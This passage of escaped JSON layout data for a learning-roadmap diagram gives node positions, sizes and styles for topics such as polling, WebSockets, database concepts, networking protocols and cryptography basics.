\"width\": 88,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 235.54570078536193,\n        \"y\": 2763.8089042926963\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 88,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YMO9oD_sbzyDZPNU2xZwe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2815.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2815.8089042926963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XeJi6TwpI5Uaszj00Uv_2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2867.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Long Polling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 140,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2867.8089042926963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gGmNJ8dK28iqrlQHPz6md\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 181.32502329706938,\n        \"y\": 2867.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Short Polling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 143,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 181.32502329706938,\n        \"y\": 2867.8089042926963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bVjI14VismTHNCyA0mEBP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2919.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Web Sockets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 37.543249295341866,\n        \"y\": 2919.8089042926963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JckRqZA8C6IqQLPpTCgf4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 213.93191750795512,\n        \"y\": 2919.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 213.93191750795512,\n        \"y\": 2919.8089042926963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zvlTQ0A-My4QDrslp_lru\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -284.16095135864697,\n        \"y\": 2358.529637253211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YLCmZvoLkhOk9wlgYW2Ms\"\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -284.16095135864697,\n        \"y\": 2358.529637253211\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nprZscHdC_RdRIcGeGyVk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -283.61511179817643,\n        \"y\": 2116.837658677318\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SQL vs NoSQL Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 50.3759765625\n      },\n      \"positionAbsolute\": {\n        \"x\": -283.61511179817643,\n        \"y\": 2116.837658677318\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"Rw7QjLC8hLtXSwmU_9kHC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -283.61511179817643,\n        \"y\": 2170.837658677318\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Normalization / Denormalization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294\n      },\n      \"positionAbsolute\": {\n        \"x\": -283.61511179817643,\n        \"y\": 2170.837658677318\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XnxxEmr2TyW2kOpB4gtR5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -283.61511179817643,\n        \"y\": 2223.837658677318\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Entity-Relationship Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294\n      },\n      \"positionAbsolute\": {\n        \"x\": -283.61511179817643,\n        \"y\": 2223.837658677318\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ii1vF74u3yrFNlw_21b3B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -283.61511179817643,\n        \"y\": 2276.837658677318\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DDL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -283.61511179817643,\n        \"y\": 2276.837658677318\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tcQSH-eAvJUZuePTDjAIb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -209.61511179817643,\n        \"y\": 2276.837658677318\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -209.61511179817643,\n        \"y\": 2276.837658677318\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"05lkb3B86Won7Rkf-8DeD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -135.61511179817649,\n        \"y\": 2276.837658677318\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -135.61511179817649,\n        \"y\": 2276.837658677318\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4bUmfuP2qgcli8I2Vm9zh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -61.615111798176486,\n        \"y\": 2276.837658677318\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DCL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -61.615111798176486,\n        \"y\": 2276.837658677318\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_sm63rZNKoibVndeNgOpW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -285.56048010753005,\n        \"y\": 2449.793713263629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Locking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294\n      },\n      \"positionAbsolute\": {\n        \"x\": -285.56048010753005,\n        \"y\": 2449.793713263629\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W5B-v-BFcCRmuN0L1m6PI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -285.56048010753005,\n        \"y\": 2502.793713263629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ACID Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -285.56048010753005,\n        \"y\": 2502.793713263629\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q3nRhTYS5wg9tYnQe2sCF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -128.53316426220692,\n        \"y\": 2503.2245852639517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"BASE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -128.53316426220692,\n        \"y\": 2503.2245852639517\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uqfeiQ9K--QkGNwks4kjk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -285.56048010753005,\n        \"y\": 2555.2245852639517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CAP Theorem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -285.56048010753005,\n        \"y\": 2555.2245852639517\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g6HeyLptaAYx9QBKuHQyM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -128.53316426220692,\n        \"y\": 2555.2245852639517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PACELC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -128.53316426220692,\n        \"y\": 2555.2245852639517\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BEbsUA39kZ5itqCwD585f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.533164262207,\n        \"y\": 2607.2245852639517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Indexes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.533164262207,\n        \"y\": 2607.2245852639517\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lOj_ReWI1kQ3WajJZYOWU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -128.53316426220692,\n        \"y\": 2607.2245852639517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Views\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -128.53316426220692,\n        \"y\": 2607.2245852639517\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KhvYJtSCUBOpEZXjHpQde\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -287.533164262207,\n        \"y\": 2659.2245852639517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Transactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294\n      },\n      \"positionAbsolute\": {\n        \"x\": -287.533164262207,\n        \"y\": 2659.2245852639517\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FjhZGhzJjYyDn0PShKmpX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.533164262207,\n        \"y\": 2711.2245852639517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Stored Procedures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.533164262207,\n        \"y\": 2711.2245852639517\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3r21avMlo0xFB9i7PHccX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -285.56048010753005,\n        \"y\": 2763.2245852639517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Database Federation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294\n      },\n      \"positionAbsolute\": {\n        \"x\": -285.56048010753005,\n        \"y\": 2763.2245852639517\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WUEmEtlszbISSIWDKpvg6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -287.533164262207,\n        \"y\": 2815.2245852639517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Replication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -287.533164262207,\n        \"y\": 2815.2245852639517\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3K65efPag2076dy-MeTg4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -128.53316426220692,\n        \"y\": 2815.2245852639517\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sharding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -128.53316426220692,\n        \"y\": 2815.2245852639517\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zG5t3HqbZnh9CGRqp1Sb-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -518.9723390716184,\n        \"y\": 2430.1119032208103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Networking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JnJbJtsqKbVETY2vdLqCO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.9723390716184,\n        \"y\": 2430.1119032208103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"pZ5x_zDYGzW9VxYycyXtN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.9723390716184,\n        \"y\": 2119.7557111413485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OSI Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.9723390716184,\n        \"y\": 2119.7557111413485\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Fed5y1D95WPpqoVg7kmob\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.9723390716184,\n        \"y\": 2172.7557111413485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TCP/IP Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.9723390716184,\n        \"y\": 2172.7557111413485\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fYjoXB4rnkM5gg46sqVz5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.9723390716184,\n        \"y\": 2225.7557111413485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DNS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 79,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.9723390716184,\n        \"y\": 2225.7557111413485\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 79,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2tUwl-br-SRuwADSzmQag\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -436.9723390716184,\n        \"y\": 2225.7557111413485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 79,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -436.9723390716184,\n        \"y\": 2225.7557111413485\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 79,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3pu2bGhoCLFIs6kNanwtz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.9723390716184,\n        \"y\": 2278.7557111413485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TLS & HTTPS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.9723390716184,\n        \"y\": 2278.7557111413485\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"u-c-UFegRb7xqsmvj9gVb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -518.9723390716184,\n        \"y\": 2331.7557111413485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sockets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -518.9723390716184,\n        \"y\": 2331.7557111413485\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JnJbJtsqKbVETY2vdLqCO\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -517.9723390716184,\n        \"y\": 2947.7963038901817\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.9723390716184,\n        \"y\": 2947.7963038901817\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"bDZ34BPm3lX06ERSE10cY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -289.0599306711012,\n        \"y\": 2947.7963038901817\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Public Key Cryptography\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EX_e4B6G07zTb4JjJ7482\"\n      },\n      \"zIndex\": 999,\n      \"width\": 298,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 298,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -289.0599306711012,\n        \"y\": 2947.7963038901817\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 298,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7r7o8pYhFHVAJIv0wNT6X\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -289.0599306711012,\n        \"y\": 2894.7963038901817\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hashing / Encryption / Encoding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 298,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 298,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -289.0599306711012,\n        \"y\": 2894.7963038901817\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 298,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EX_e4B6G07zTb4JjJ7482\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -289.0599306711012,\n        \"y\": 3000.7963038901817\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hashing Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7r7o8pYhFHVAJIv0wNT6X\"\n      },\n      \"zIndex\": 999,\n      \"width\": 298,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 298,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -289.0599306711012,\n        \"y\": 3000.7963038901817\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 298,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3rPSp135TdSCyvXzEzn4p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 